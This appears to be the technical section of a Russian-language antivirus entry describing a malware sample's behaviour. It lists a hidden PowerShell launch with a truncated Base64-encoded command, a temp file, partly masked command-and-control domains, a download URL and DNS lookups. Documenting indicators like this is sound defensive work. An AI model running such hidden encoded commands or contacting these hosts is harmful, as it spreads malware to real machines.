Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABNAGkAagBtAGwAdwBjAGYAegA9ACcAWQB3AHAAbwBnAGwAbgB6AGwAZQB2AGIAeAAnADsAJABNAG0AZABlAGIAYwBzAGoAcABkAGkAeQBuACAAPQAgACcANAA1ACcAOwAkAFcAYgBkAHMAdwBwAHgAbwBqAD0AJwBCAGMAagBnAGQAbQB...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1988
- %TEMP%\861047.cvr
- 'bl##.#asilkan.com':80
- 'hu###omains.com':443
- 'pr###lis.com.vn':443
- 'wo########h.aureliusconferences.com':443
- http://bl##.#asilkan.com/cgi-bin/LxoH/
- 'hu###omains.com':443
- 'pr###lis.com.vn':443
- 'wo########h.aureliusconferences.com':443
- DNS ASK bl##.#asilkan.com
- DNS ASK hu###omains.com
- DNS ASK lu####saigon.info
- DNS ASK pr###lis.com.vn
- DNS ASK wo########h.aureliusconferences.com
- DNS ASK tr####ciwidey.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABNAGkAagBtAGwAdwBjAGYAegA9ACcAWQB3AHAAbwBnAGwAbgB6AGwAZQB2AGIAeAAnADsAJABNAG0AZABlAGIAYwBzAGoAcABkAGkAeQBuACAAPQAgACcANAA1ACcAOwAkAFcAYgBkAHMAdwBwAHgAbwBqAD0AJwBCAGMAagBnAGQAbQB...' (со скрытым окном)